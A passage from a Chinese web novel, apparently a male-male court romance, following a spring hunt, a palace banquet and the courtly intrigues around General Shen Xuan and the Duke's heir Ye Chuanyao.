不过既已碰见,躲是躲不开了,大不了见过礼早些离开便是。 左右沈翾在此,谅季寒也不敢将他如何。 须臾间季寒已至二人面前,目光落在叶川遥身上,笑容和煦道: “阿遥,没想到你也来了猎场。” “可猎到什么了?” 叶川遥低眉道:“见过六殿下。” 见朝思暮想之人神情淡漠,连半个眼神都不愿分给他,季寒心中生出层层郁火。 他压下眸中阴翳之色,轻扯嘴角,幽声道:“阿遥如今有了靠山,就对本王如此冷淡。” “可当真是半点不念昔日旧情啊。” 笑意黯淡下去,季寒喃喃道:“明明从前,你也对本王笑过。” 叶川遥抬眸过去,眼中怒意昭然。 他与这个混蛋何来的旧情? 多番侮辱骚扰之情吗?! 侧眸睨一眼沈翾,叶川遥淡声道:“六殿下折煞了,殿下乃天潢贵胄,阿遥一介草民,岂敢与您攀旧情?” 季寒意味不明勾唇一笑,眼中狠郁一闪而过。 不紧不慢道:“明日大理寺便会结案,卫国公府解封,世子也可以回家了。” 叶川遥眼中一亮,颇感意外地看向季寒。 处心布局这么久,他真的会让大理寺就这样结案? 见他一脸防备,思虑甚重,季寒苦笑:“叶哥哥,你就这么不信本王?” “你觉得,本王会害你,会害卫国公府?” 沈翾抬眼,目光自季寒脸上缓缓扫过,眼底晦暗不明。 叶川遥顿了顿,看向季寒道:“草民并无此意,若家父能平安归家,阿遥自是感激不尽。” 他虽已经知晓季寒便是幕后之人,但可不会傻到这个时候去激怒他。 宁得罪君子,不得罪小人,这个道理他一直都清楚得很。 见叶川遥面色和煦几分,季寒笑容明媚道:“阿遥若真的感激本王,不如下马陪本王走走,如何?” “你我许久未见,本王有许多话想同你说。” 鬼他娘的许久未见,明明半个月前刚见过。 叶川遥抿唇不语,正思索着如何脱身,却听身旁之人沉声道:“六殿下。” 沈翾不疾不徐道:“臣今日答应了世子,要带他畅游山中。” “我二人难得乘兴同游,实难奉陪,还请殿下见谅。” 季寒将目光在他们二人身上游移片刻,轻哼一声:“大将军今日倒是好雅兴。” “不过将军可别只顾着游山玩水,忘了父皇的吩咐。” “春猎只此一次,身为臣子,合该让父皇尽兴才是。” 他嘴上带着笑,言语间却冷冽阴沉,整个人透着股幽郁之气,哪还像个少年。 “臣自当尽力。”沈翾对季寒的阴阳怪气不以为意,略一颔首道:“不打扰殿下,臣等先行告退。” 随即同叶川遥策马扬长而去。 二人眨眼间消失在葱葱绿林中。 想起方才季寒眼中寒意,叶川遥不免有些担心。 “将军,父亲明日真的能回来吗?” 沈翾看向他,若有所思。 卫国公之案不过是个引子,季寒一党既已谋动,此后怕不会善罢甘休。 京中的平静,看来不日便要被打破。 季寒此人虽阴晴不定,狂傲不羁,却不是没脑子的。 如今朝中上下乃至京中百姓都盯着贪墨案,他应不会再轻举妄动。 “国公爷定会平安无事。”沈翾清声道。 “嗯!”叶川遥闻言松了口气,暂且放下烦忧。 “将军今日可有信心夺得头筹?” “尽力便是,不必强求。” 话音刚落,沈翾紧拽缰绳,马蹄匆止。 “怎么了?”叶川遥不明所以,只好也跟着停下。 “别动。”沈翾张臂将弓拉满,目光凝向前方。 叶川遥朝着箭指的方向看过去,脸色登时煞白。 不远处,一只体型庞大的黑熊正紧紧盯着他们,獠牙尖锐,眼中阴翳寒光竟同人类一般无二。 甚是骇人。 “退后。”沈翾端坐瞄准,沉声道。 叶川遥往其身后挪了挪,惊魂未定地远远注视着黑熊的动静。 这东西可不好惹,不但凶猛,还极其狡诈。 短短一瞬,利箭已疾发而出。 黑熊向旁闪躲不及,后腿中箭,顿时狂怒不止,咆哮声响彻山间。 不等沈翾再次开弓,那熊已带着伤朝二人怒奔而来。 当年从熊掌下险险逃生的一幕浮现眼前,叶川遥不禁心生惊惧,脸色愈发苍白,竟生生呆在原地。 这东西是与他相克吗,怎么总是让他碰见! 沈翾见状自马背上一跃而起,翩然落于叶川遥背后,一手握紧缰绳,一手拔出手中长剑,挡住正朝二人猛扑而来的黑熊利爪。 “将军小心!” 叶川遥这才恍然回神,忙出声高喊。 “别怕,我在。” 沉稳的嗓音自耳边传来,叶川遥紧绷的心弦放松了几分,却不敢轻敌。 那黑熊似被激怒,直奔着马背袭来。 沈翾将叶川遥圈在胸前,手中剑光凛凛,杀伐果决。 叶川遥提着一颗心,本想出手帮忙,但又怕给沈翾添乱,只好老老实实抓紧缰绳不动。 几番缠斗过后,黑熊身上伤痕累累,朝着林中仓皇而逃。 “想跑。”沈翾收起手中长剑,拉弓瞄准,打算将其一箭毙命。 叶川遥屏住呼吸,后背都紧张地渗出一层薄汗。 蓄势待发之际,叶川遥忽闻林中传来隐隐哀鸣,甚是悲泣。 他循着声音望过去,目光微怔。 “将军且慢!”他抬手按住身侧手臂,匆忙制止。 沈翾收了力道,侧眸看向身前之人。 叶川遥指向林中不远处:“你看那边。” 沈翾移目看过去,便见一只黑熊幼崽正蹲在树下,满目惊恐望向两人。 虽怕得瑟瑟发抖,却并未先行逃跑。 叶川遥有些动容,遂看向沈翾道:“将军,不如今日就暂且放过它们吧。” 沈翾应了声好,利落地将箭收回。 黑熊拖着伤腿跑进林中,带着幼崽一同往更深处逃去。 直至它们彻底消失,叶川遥紧绷的心绪才终于放松下来。 他是真的怕熊。 身侧手臂刚劲有力。 平日里高挑的人这会儿却被沈翾整个圈住,显出几分小巧来。 方才只顾着害怕,这会儿叶川遥才后知后觉,开始有些不自在。 一日之内两次与大将军共乘一骑,这荣幸,恐怕在整个大盛也是独一份了。 若说先前是为了指导他箭术无意为之,那现在呢? 危险已然走远,又为何还要与他同乘? 见沈翾似乎并无下马之意,叶川遥索性也不再别扭。 他微微侧眸,冲背后之人道:“多谢将军。” 手臂相贴,耳边呼吸轻拂:“还好吗?” “我没事,”叶川遥弯唇笑笑,“不过这东西还真够吓人的。” “那利爪挠起人来可不是一般的疼!” 沈翾猜他是受了惊吓,遂道:“等晚上回府,让他们给你熬碗参汤压压惊。” “不用的,我没事。” 哪就那么娇贵了? 叶川遥说完忽地生出几分担忧:“只是如今熊掌没了着落,将军要如何同陛下交待?” 沈翾轻拍马身,漫不经心道:“无妨,沈某猎术不精,也只能有心无力了。” 叶川遥:“……” 应该是有力无心才对吧。 两人回到山下时,已聚集多人。 马蹄声渐歇。 喝茶的,说笑的都齐齐停下,侧目朝二人看去。 一个端方,一个俊美,当真是赏心悦目至极。 不过众目睽睽之下同乘一骑,没想到这大将军竟也是美色大过天之人。 叶川遥下了马,尽量忽视掉周遭打量的目光,故作淡定地立于沈翾身旁。 看吧,既然想看,那他干脆大大方方地给他们看个够。 侍卫将猎物尽数点好,归于一处。 “三皇子,共猎二十三件。” “五皇子,共猎十二件。” “六皇子,共猎二十二件。” “沈翾,共猎十八件。” “……” “今日夺魁者,三皇子季泽……” “且慢!” 季寒姗姗来迟。 “父皇,儿臣今日要送父皇一件大礼!” 第28章 众人齐齐看向季寒, 个个面色好奇,等着看戏。 几名侍卫抬上两件重物,赫然是沈翾他们不久前遇见的黑熊及其幼崽。 先前勇猛无比的野兽, 此刻却早已没了气息。 可怜那幼崽还睁着眼,眼里盛满恐惧和迷茫。 叶川遥抿唇看过去,季寒得意的笑容格外刺眼。 果然, 讨人厌的人净做些讨人厌的事。 等找个机会,他定要套个麻袋将这混蛋狠狠揍一顿! 他隐忍着恨意, 扭头不再去看。 皇帝却面露喜色:“哈哈哈好, 好,朕的皇子果然出色!” “那今日的魁首便是寒儿了。” 皇帝发了话, 群臣自是附和。 “六皇子果然英雄出少年!” “殿下神武, 我等今日有口福了!” 叶川遥在沈翾身旁哼了声:“嗜杀残暴还妄想得道升仙, 简直做梦!” 沈翾扭头看他:“慎言。” 叶川遥抿唇不再言语, 心里对季寒此人的厌恶又增几分。 * 入夜,酒池肉林, 觥筹交错。 每年春猎皆是如此,白日得来的猎物, 晚上便做了宴。 百官齐聚, 尽享美食, 君臣同乐。 连官眷们也可在此时一同进宫,以沐皇家恩泽。 叶川遥跟着沈翾, 自是惹人注目。 且他本就容貌出众,一出现便吸引了全场的目光。 虽习惯被人打量, 但毕竟这是在宫中,还是要低调些。 入了席,叶川遥与沈翾并肩而坐, 举止规矩,目光安分,只低着头默默饮茶。 沈翾侧眸瞧他一眼:“不必拘紧,想吃什么便吃。” 叶川遥莞尔,柔声道:“原也不饿。” “我只等着尝将军白日里猎的山鸡呢!” 沈翾轻笑,夹起两块梅花酪放入他碟中,慢条斯理道:“我已让人带了几只回去养着,你若想吃,明日让府上的厨子给你做。” “好。”叶川遥弯起眉眼,欢快应声。 众人渐次入席。 官眷们多是许久未见,这会儿碰见自是要寒暄一番,以示关切。 再互相交换些京中消息,打听打听谁家的公子小姐还未婚配,顺便替自家孩子留意着,看看能否觅得良缘。 皇帝皇后还未临驾,大家少了几分拘谨,场面就这样热闹起来。 有眼尖的妇人瞥见沈翾身旁之人,面露惊色。 “诶?那是哪家的公子,样貌竟如此出众!也不知是否已然婚配?” 身旁的妇人顺着视线看过去,了然道:“还能是谁,卫国公家的宝贝世子啊!” “原来是世子啊。早就听说卫世子才貌惊为天人,今日一见,果真如此!” “可世子为何会与大将军同席?” “哎呀,你还不知道?世子与大将军是……是那种关系!” “哪种关系?” “还能是什么,自然是断袖之癖!” “!” “当真?大将军竟…竟也好男色?” “还能有假?” “自从卫国公出事,这世子便住进了大将军府。听闻两人如胶似漆,形影不离,比寻常夫妻还要亲近呢!” “世子担心国公爷,夜不安寝,将军便不许下人打扰,让世子想睡到什么时辰便睡到什么时辰,连餐食都是送进卧房用的!” “平日进出更是要好几个人伺候!” “这,这……把一个男人宠到如此地步,简直不成体统,有伤风化!” “体统不体统的,谁敢置喙?” “不过倒是真看不出来,没想到大将军竟还是个痴情种!” “只可惜了这位俊郎君,好好的世子不做,非去给人做什么男宠,世风日下啊!” “……” 叶川遥默默听着,脸上红一块白一块。 这些人言之凿凿,说的有鼻子有眼,有哪个趴在他床头亲眼瞧见了? 人言可畏,他今日算是领教了。 他和沈翾这还没真的做什么呢,要是真在一起了,怕是还不知道要传成什么样! 叶川遥苦笑一声,替沈翾斟了杯清酒,叹声道: “将军,你这名声,怕是真被我毁得差不多了。” 常年行军,耳力自然敏锐。 但沈翾对周遭这些议论向来不以为意。 他从叶川遥手中接过酒盏,淡声道:“声名不过身外之物,何须在意。” “这世上最难防的便是流言,若句句在意,苦的只有自己罢了。” 叶川遥闻言点点头,深以为然。 想了想,一本正经道:“将军活得通透,自然不在意这些虚名。” “但我连累将军至此,却实在心中有愧。” 他说完低着头,若有似无地叹了声气。 嘴上说着有愧,但这副低眉顺眼的模样,实在让人不忍苛责。 沈翾若有所思地看向他,总觉得小少爷话里有话。 不知又在打什么鬼主意。 他顿了顿,状似无意地顺着话问:“嗯,所以呢?” “所以,我得对将军负责才是!”叶川遥欢声道,眼底亮光飞舞。 沈翾已经习惯了他的天马行空,颇为配合地点点头:“如何负责?” “嗯……”叶川遥看着他,靠近几分,黑眸水波流转,“给将军做伴书童,如何?” “陪将军读书、写字、练功。” “或者,再做些别的……” 他话音轻落,一双清眸如天外寒星,亮得晃眼。 “别的?”沈翾低声轻笑,眉目都舒展开,“世子还想做什么?” 想做的那可太多了。 “将军想做什么,我尽奉陪就是……” 沈翾勾唇一笑。 把这样的人放在身边做伴书童,还能读成什么书? “太过折煞了。”他清声道。 叶川遥撇撇嘴,无奈一笑。 切,果然还是这般无趣。 闲谈间,皇帝携皇后和几位妃子落座。 众人起身,行过叩拜之礼。 “都平身吧!”皇帝道,“今日春猎收获颇丰,众爱卿不必拘礼,只当是寻常家宴,只管畅饮便是。” “谢陛下!” 季寒看向皇帝:“父皇,熊掌已烹好,儿臣这便让人呈给父皇尝尝。” “好!”皇帝开怀笑道,“这世间美味,朕的确甚是想念啊哈哈哈!” 郑贵妃娇柔一笑,嗓音婉转道:“熊掌美味,亦可延年益寿,却也实在难得。” “陛下,今日您可要好好奖赏寒儿才是。” “嗯,贵妃说得极是。” 皇帝一脸和煦看向季寒:“寒儿,除了这五千两赏银,可还有什么旁的想要的,父皇今日一并赏了你!” 季寒站起身,举止恭敬:“多谢父皇。” “儿臣身为皇子,得父皇庇佑教导已是万幸,不敢再求其他,只愿父皇圣体康健,福泽万年!” “愿陛下圣体康健,福泽万年,吾皇万岁万岁万万岁!” “哈哈哈哈,好,好!” 叶川遥低着头,嘴角却忍不住撇了撇。 这六皇子还真是跟老皇帝一个德行。 臭味相投,难怪如此得宠。 珍馐佳酿悉数而置。 碍着皇帝的面子,平日里有过节的没过节的,这会儿都是笑脸相迎,倒是难得的其乐融融,一片祥和。 皇帝看上去也心情颇佳,几位皇子前来敬酒俱慈爱接下。 仁君慈父的派头做得十足。 郑贵妃坐在一旁,笑语嫣然地替皇帝斟着酒,哄得皇帝愈发高兴。 沈皇后则面带微笑,一副端庄雍容之态,并没有因为皇帝的无视而有一丝失态。 她睨向堂下众人,目光缓缓落在沈翾身旁的人身上。 这孩子竟然带人来了宫宴? 她打量叶川遥片刻,转头对身旁的宫人吩咐几句。 须臾后,宫人来到沈翾跟前:“大将军,世子,皇后娘娘请两位过去一叙。” “也叫了我吗?”叶川遥吃惊道。 “是,请世子一同前去。”宫人笑道。 叶川遥看向沈翾,眼神有些无助。 皇后叫他是想说什么? 刚搞定锦夫人,难道又要闯皇后这一关吗? 他一个姘头,情路怎的就如此艰难?! “不必紧张,皇后娘娘不会为难于你。”沈翾淡声道。 “嗯。”叶川遥这才点点头,随沈翾一同起身。 到了圣前,两人一起见了礼。 皇后的目光在他们二人身上交替轻移,而后笑着道:“前几日听泽儿说起世子,本宫还想着,他日找机会见世子一面。” “没想到今日你便将人带了来。” 沈翾颔首:“阿遥近日都在府中,日日忧思不得排解,臣看着不忍,便想带他出来散散心,也可宽慰一二。” “……” 叶川遥看向身旁之人,僵硬地扯了扯嘴角。 又,又开始了是吧? 行,那瞧好吧! 他垂下眼,嗓音和顺道:“是阿遥想一睹春猎盛况,这才缠着将军带上我。” “阿遥不懂规矩,还请陛下和娘娘恕罪。” “诶,这算什么罪过?” 皇帝笑道,语气随和:“他沈翾既肯听你的话,那便是你的本事。” “旁的人可都不曾有这待遇,你是头一个。” 叶川遥一脸害羞状:“是将军抬爱了。” 皇后看着他,脸上一片柔色:“这两个孩子容貌出众,家世也般配,陛下说是不是?” “嗯,”皇帝点点头,“不错,的确般配。” 皇后看向沈翾,语气慈爱:“翾儿,你既已认定世子,那便好好对人家,莫不可辜负。” 沈翾:“臣谨遵娘娘教诲。” 皇帝看着二人,眼中微光闪过,顿了顿,道: “你二人既情投意合,朕也不好做那恶人。” “郑爱卿,明日便结案,让世子一家人团聚罢。” 叶川遥眸光一亮,屈膝跪下:“谢陛下!” “起来吧,”皇帝笑道:“羿王如今有了心上人,也是件喜事。” “听闻世子才情卓越,朕今日便将那秋月图赐于你二人,也算是朕和皇后的一点心意。” “多谢陛下。”两人齐声道。 虽得了赏赐,叶川遥心中却并无喜悦。 本以为他们二人一同出现在宫宴已是高调。 没想到皇帝和皇后又加了一把火。 究竟是何用意? 殿内甚至开始有人猜测,会不会不久后皇帝便会赐婚? 叶川遥黑眸一亮。 赐婚? 能有这种好事!? 第29章 春日宴, 浊酒香。 皇帝今日高兴,便与众臣多饮了几杯。 可到底上了年纪,不比从前, 虽兴致未尽,也只能止于微醺。 笙歌渐起,皇帝倚在凭几上欣赏起舞乐, 底下的人也放松下来,交杯换盏, 一片和乐。 几位皇子坐于前, 对面是大将军沈翾、御史大夫周印和其他几位朝中重臣。 几党素来明争暗斗,但这会儿面上至少兄友弟恭, 甚是和谐。 三皇子和六皇子那边敬酒之人不断, 沈翾这边自然也不清净。 “大将军, 世子, 下官敬二位!祝二位……” “祝二位百年好合!” “恭喜将军……” 谁说武将都是粗人,这不比那些满嘴礼义廉耻的文官风雅多了! 甚有品味嘛! 叶川遥虽与这些人不熟, 但今日毕竟是跟着沈翾来的,自然不好对来人熟视无睹。 且人家对他们祝福颇多, 他自是心中感激, 便只好浅笑颔首, 礼貌相迎。 笑得嘴角都快僵了。 偏偏这些人还总是时不时拿眼角偷瞄他,害得他想偷懒都不成。 后来还是沈翾问他:“累不累?” 见大家都看着, 叶川遥索性端起矫情劲:“翾哥哥,我饿了。” 沈翾看向叶川遥面前几乎未动的餐食:“可是饭菜不合胃口?” 叶川遥摇摇头, 轻叹:“一个人吃没意思。” “……” 几个五大三粗的武将瞪大眼互相看看,忙道:“那,那下官不打扰二位了, 告退,告退。” 一边转身,一边暗自腹诽。 连用饭都得陪着,大将军对世子的宠爱果然不假! 叶川遥饿了半天,这会儿闲下来,终于能好好吃点东西。 可刚尝了没几口,便放下筷子,凑到沈翾耳边道:“这御膳房的东西,还不如咱们府上的小厨房做得好呢!” 沈翾偏头看过去,嘴角带上浅笑。 “你若吃不惯,等回去再让他们给你做些宵夜。” 叶川遥欣然一笑:“好啊,那我要喝山鸡汤。” “还有蜂蜜乳酪!” “好。”沈翾笑着道。 季岩被一群文官念得头疼,逮着机会赶紧跑到对面去寻叶川遥。 “阿遥,我还是喜欢跟你待在一起,这些老臣满嘴的大道理,甚是无趣!” 叶川遥无奈哼笑:“你这是跑到我这里来躲清闲了?” 季岩咧嘴笑笑:“好兄弟自然要患难与共,你可不能见死不救啊!” 叶川遥:“行吧,那我敬殿下一杯!” “好啊,来阿遥,干杯!” 沈翾看向季岩,不冷不热道:“五殿下已及冠,是该多用心朝堂之事。” 季岩给自己倒了酒,潇洒饮尽,笑得不以为意:“朝堂之上有你们不就行了,哪里用得着我?” “我啊,还是做我的闲散王爷,自在逍遥!” 叶川遥突然想起什么,往季岩身侧靠了靠,压低声音问:“你前几日给我的信里说,户部侍郎之位已被季寒的人补上了?” 季岩嗯了声:“如今户部大半都在季寒手里,国公爷复职之后怕是不容易,得提前有个准备。” 叶川遥点点头:“好,我知道了。” “明日国公府解封,可有需要帮忙的?” 叶川遥笑道:“有啊,殿下的银票可以再多来点!” “得了吧你,”季寒哼笑,“有大将军在,你还用得着我那点银子?” 他凑近叶川遥耳边:“你还不知道吧,沈翾的母家可是江州首富。” “如今的陆家当家人陆锦,正是沈翾的亲姨母!” 叶川遥眸色一惊。 江州首富? 怪不得锦夫人如此与众不同,当真是女中豪杰! “看来回去之后得对陆清玖好一点。” 两人嘻嘻哈哈闹着,沈翾也不打扰,兀自在一旁慢酌轻饮。 不多时,兵部尚书韩策拽着一名年轻男子上前。 男子似有些不愿,几番挣脱却未得逞,还被韩策怒斥一通。 二人推推搡搡来到沈翾和叶川遥面前。 “大将军,世子。” 叶川遥莞尔朝来人略一颔首:“韩大人。” 韩策掌管兵部,武将出身,身材魁梧,整个人不怒自威。 可这会儿脸上却赔着笑,声音也甚是和顺。 “犬子莽撞,先前惊扰了世子,还请世子莫要放在心上啊!” “老夫已经狠狠教训过他了,保证,绝不会再犯!” 韩策说着拍向身旁之人:“还不快给世子赔罪!” 原来是他。 韩策这么一说,叶川遥这才想起还有这么一回事。 韩奇,之前去庄子上,说要把他接到府里的几人之一。 不过此人言行还算端正,不曾于他有辱。 当日示爱不成,也不曾恼羞成怒。 “韩大人言重了。” 叶川遥温和一笑:“韩公子不过一时玩笑罢了,我早就忘了,大人不必介怀。” “才不是玩笑!”韩奇突然道,“当日所言,句句真心。” “就算如今世子与大将军情投意合,但若他日将军有负世子,我也定是要将世子抢过来的!” “……” 叶川遥尴尬地扯了扯嘴角。 这个韩公子是富贵日子过久了,想换换新花样吗? “你这个臭小子,瞎说什么呢!”韩策一巴掌拍在韩奇头上。 “谁你都敢惦记!” 人家世子都给了台阶还不下,非要找死吗! 如今连陛下都已赏赐了世子,就表明已然赞同这段关系,这同赐婚有什么两样? 这傻小子倒好,还敢巴巴地往上凑! 敢跟大将军抢人,也不看看自己几斤几两。 韩策说完笑着看向沈翾:“将军,您别跟这个臭小子一般见识。这孩子脑子不好!” 叶川遥:“……” 韩奇:“……” 这可真是亲爹。 沈翾冷冷看一眼韩奇,又看向韩策,沉声道:“韩大人,这便是你养的好儿子?” 韩策憨笑:“这小子平日里不这样,许是饮多了酒,伤了脑子,下官这就带他去看大夫!” “慢着。”沈翾沉声开口。 “将军还有什么吩咐?”韩策瑟瑟道。 沈翾往杯中斟满酒,端起后慢条斯理道:“听说城防营近日巡城人手不够,就劳烦韩公子去帮个忙。” “多吹吹风,醒醒脑子。” 韩奇:“……” “是是是,将军说得对,这小子是该历练历练了。明日,明日我就让他去巡街!”韩策高声道。 “爹,我做错什么了?”韩奇不服道。 “你快闭嘴吧你!”韩策恨铁不成钢。 “将军,那下官就不打扰二位了,先行告退。” 说完赶紧拽着自己儿子离开,生怕这小子再说出什么要命的话。 韩奇被他爹架着,匆忙间还不忘回头,朝叶川遥高声道:“世子保重,改日再去府上拜访!” 叶川遥:“……” 可放过他吧。 周遭终于清净。 叶川遥看向身旁之人,柔声轻笑:“韩公子其实也没做什么过分的事,将军何苦难为他?” “还有多少?”沈翾突然沉声开口,脸色略显阴沉。 “啊?”叶川遥不明所以,“什么多少?” 沈翾看着他,眼底如幽深寒潭。 “像这样的事,这样的人,还有多少?” “哦,你说这个啊。” 叶川遥抿了口茶,云淡风轻道:“其实也没几个。如今托将军的福,便是一个也没有了。” 他眉眼弯弯,歪头朝沈翾靠了靠,轻声道:“还要多谢将军呢!” 就知道卖乖。 沈翾淡淡嗯了声,神色终于柔和了几分。 “哎哎哎,你们两个真是够了啊!” 季岩看不过眼,忍不住撇嘴道。 叶川遥哼了声:“怎么,羡慕?那你倒是早些娶个王妃回去呀!” “我给嫂嫂的贺礼可是已经备了许久,也不知道何时才能送出去。” 季岩:“……” 心口又被撒了盐,季岩哭着去寻旁人去了。 季寒坐在几人对面,心不在焉地把玩着手中银杯,目光一直落在叶川遥身上。 看着他浅笑盈盈,光彩夺目。 嫉妒啃噬着他的心脏。 原本以为叶青云入狱,他便有机会将朝思暮想之人占为己有。 却没想到叶川遥竟投靠了将军府,让他无从下手。 看着这两人你侬我侬的模样,季寒恨不得什么都不顾,就这样直接将人抢走。 可是他不能。 再等等,待登上大位,这天下成为他的囊中之物,他便可以得偿所愿,为所欲为。 宴席过半,皇帝乏累先行回宫。 郑元前来寻季寒,两人低语几句,一同出了大殿,来到一僻静幽暗之处。 “殿下,明日便要结案,不如我们今晚来一招畏罪自杀,将叶青云了结了。” “既可杀鸡儆猴,也可以将户部尚书这个位子安上我们的人,一举两得。” “不可。”季寒略一思忖,沉声道:“阿遥如今已找上沈翾这个靠山,若叶青云真出了事,他便再不会离开将军府。” “况且户部如今已尽在我手,一个叶青云,翻不出什么风浪。” “……” 郑元蹙眉轻叹,苦口规劝:“殿下,大局为重,万不可感情用事啊!” “这天下美人多的是,他日殿下成事,想要什么样的人没有?怎可为了一个男子优柔寡断!” “我等筹谋多日,不能就这样前功尽弃啊殿下!” “本王心中有数,舅父不必多言。”季寒冷声转身而去。 “殿下!” 郑元站在原地,眼中浮现一抹狠厉之色。 他心知季寒主意已定,任谁劝说也无用。 为了一个男人耽误大业,简直荒唐。 既如此,只好由他这个做长辈的,来替殿下分忧了。 第30章 推杯换盏, 觥筹交错,纸醉金迷不过尔尔。 沈翾和叶川遥难得清净片刻,独处须臾, 偏又有人上前。 皇帝已下旨放人,卫国公府自然尊贵依旧。 且叶川遥如今攀上了大将军府,更是无人敢轻视。 先前怕被牵连, 从前与叶川遥玩得好的几个世家公子都与其绝交。 这会儿虽心中不屑,但脸上却换了一副面孔, 当即又复熟络殷勤起来。 “恭喜卫国公府有惊无险, 我敬世子一杯!” “我也敬世子一杯。” “咱们跟世子也许久没聚了,改日望春楼, 我做东, 咱们好好聚一聚, 如何?” 叶川遥拂了拂衣摆, 手都没抬:“抱歉啊,许是从前同傻子玩得太多, 把脑子熏坏了,如今实在不胜酒力, 就不喝了。” “几位自己吃好喝好吧。” “诶那个杜公子, 麻烦让让, 你挡到我看景了。” “……” 几人脸色难看,有想要讥讽几句的, 转头见大将军坐在一旁面色不虞,眼神发冷, 也只好默默忍下。 只有那个杜公子,脖子梗得老高,一副宁折不弯的模样。 他从前与叶川遥并不相熟, 方才过来也只因心中好奇,又有人推搡,这才上前。 这会儿被下了面子,自然脸色难看。 叶川遥的确是故意为之。 这个杜迟乃吏部尚书杜明轩之子。 杜明轩和季寒一丘之貉,陷害忠良,他这个狗仗人势的儿子自然也不是什么好东西。 被拂了面子,杜迟冷哼一声:“我等好心结交,以礼相待,世子未免太不识好歹了些。” “你爹就算全须全尾地出来,也不过空占着一个户部尚书的名头,虚衔罢了。” “你还有什么可得意的?” 杜迟的嘲讽让周围那几个同行的世家子弟都不禁一阵心悸。 真是什么话都敢说啊…… 若是旁人如此说,叶川遥笑笑也就过去了。 毕竟这也是实话。 父亲入狱这一个月,户部早就成了季寒的囊中之物,这并不是什么秘密。 可这是杜迟,父亲的牢狱之灾也有他们杜家的一笔。 若就这样放过杜迟,那他可就白重活这一遭了。 “杜公子言之有理,不过嘛……” 叶川遥站起身,往杜迟面前迈了两步,微微倾身,用只有两个人能听到的声音道:“虽是虚衔,也总好过做人走狗,主人哪天一个不高兴,可是要受大罪的。” “杜公子,你说是也不是?” “你……!” 被说到痛处,杜迟恼羞成怒。 六皇子阴晴不定,父亲每日的确如履薄冰。 可最是争强好胜的年纪,怎会轻易罢休。 杜迟正打算骂回去,却见叶川遥向旁一倒,整个人就那么水灵灵地跌在地上。 “哎呀!”还伴着一声吃痛。 杜迟:“……” 啥意思? 沈翾面色一凛,大步迈至叶川遥身侧,立即将人抱起放于软席之上。 蹙眉道:“可摔着了?” 叶川遥摇摇头。 又不是第一次碰瓷,他如今可熟练着呢! 他眨眨眼,示意沈翾安心。 转而不可思议地看向杜迟。 “杜公子,就算如你所言,家父的尚书之位只是虚衔。但国公府乃先帝敕封,可不是你能随意轻贱的!” 见他并无大碍,沈翾起身冷冷看向杜迟,眼神似要吃人。 “杜公子是对国公府不满,还是在质疑陛下的旨意?” 沈翾周身肃杀冷冽,寒意逼人,杜迟忍不住打了个寒颤。 他这才意识到自己说错了话,当即慌了神,语无伦次道:“我,我没有……” 动静越闹越大,周围的大臣官眷纷纷朝这边看过来。 “这是怎么回事,杜公子推了世子?” “哎呀,世子向来娇弱,这一下摔得可不轻啊!” “你看看,眼睛都红了!” “这杜公子怎么这般不知轻重,多大的仇啊,下如此狠手。” “……” 杜迟神色慌乱地看着周围,恍惚道:“不是我,我真的没有……” “没有什么?”沈翾步步紧逼,“没有言语羞辱世子?” “还是没有对国公出言不逊?” “是啊,”旁边有人出声道,“方才的话我们可是都听见了的。” “一个小小的吏部文书,竟敢置喙尚书之职,你们杜府还真是家风别致啊!” 沈翾垂眸看向叶川遥,见他眉头微蹙,似有疼痛。 懒得再废话:“将杜迟押入刑部,等候发落。” 说完屈膝将人打横抱起,就那么大摇大摆地出了大殿。 “天啊,大将军竟然抱了世子啊啊啊!” “若是大将军能如此护着我,那我一定是天底下最幸福的人!” “果然英雄难过美人关啊!” “哼,红颜祸水!” 叶川遥将羞红的脸埋在沈翾胸前,配合地装死。 得,他这回算是艳名传千里。 想洗都洗不清了。 沈翾在众人的惊诧和议论下,面不改色地将人一路抱出了宫。 出了宫门,叶川遥方抬起头。 “放我下来吧,我没事。方才都是装的。” 沈翾却未应声,径直将人抱上马车。 随驾的侍卫忙将帘子掀开:“世子这是怎么了?” 沈翾弯腰将人放下。 “世子受了伤,回去的路上小心些。” “好,那咱们慢点走。” 叶川遥在软垫上坐稳,才将手臂从沈翾肩上缓缓移开。 见面前的人脸色不虞,叶川遥轻轻扯了扯沈翾的袖子,嗓音轻柔:“我是不是……给将军惹麻烦了?” “还疼不疼?”沈翾不答反问。 “疼。”叶川遥点点头,抿唇如实道。 沈翾板着脸看他:“怕疼还逞能?” 说完见叶川遥嘴角委屈地耷拉着,语气不禁又柔和下来:“伤在哪?” “膝盖,”叶川遥慢吞吞道,“倒下的时候怕撞到头,特意用膝盖撑着了……” “嗯,世子真是机智过人。”沈翾面无表情幽声道。 说完抬手将叶川遥脚边衣摆向上掀起。 “做,做什么?”叶川遥匆忙按住。 “别动,我看一下伤得如何。” “哦。”叶川遥顿了顿,这才慢吞吞松开手。 怪不好意思的。 裤腿轻轻拉起,肤白如玉的膝盖上赫然多出一大块淤青。 沈翾顿时眼底生寒。 他盯着那伤处看了须臾,才黯声道:“有我在,你无需用这些伎俩。” 叶川遥心中一暖,弯唇笑道:“无碍的,我有分寸。” “他今日自己撞上来,这么好的机会岂能放过!” “只是连累将军陪我演戏,实在对不住了。” “不过……”他说着倾身看向沈翾,黑眸水波流转,“将军这是在心疼我吗?” 眼前人眉眼弯弯,眼底清澈透亮,端的乖巧可人。 沈翾看着他,心底荡起层层涟漪。 他顿了顿,替叶川遥将衣摆整理好,柔声道:“嗯,心疼。” “所以往后,莫要再以身犯险。” 叶川遥心底一暖,笑着应:“好。” “有将军心疼,这一跤摔得不亏。” “少油嘴滑舌。”叶川遥慢条斯理将手收回,“下不为例。” “知道了。”叶川遥眯眼笑笑:“放心吧,这点小伤真的不算什么,我可没那么娇气!” 他说着突然话锋一转,闷声敛了笑:“比起这个,将军的处境倒是更让我担心。” “我?”沈翾看着他,眼中浮现一抹深色,“担心我什么?” 叶川遥正色几分道:“朝中如今不安稳,将军一定要多加小心。” “可是今日看出什么了?” “也没什么,只是瞎猜罢了。” “无妨,这里没有外人,说说看。” “好吧。” 叶川遥顿了顿,思量着道:“先说皇帝。” “他唤你羿王,却不称你为大将军,无非是觉得羿王封号乃皇室恩赐,你的尊贵是他们赏的。” “他忌惮你的兵权,想压制你。可又不得不倚仗你,不敢太过压制。怕是每日愁得连觉都睡不安稳!” 沈翾忍俊不禁:“嗯,还有呢?” “再说季寒,”叶川遥接着道,“他仗着皇帝的偏爱为所欲为,在朝中各部安插自己的势力。” 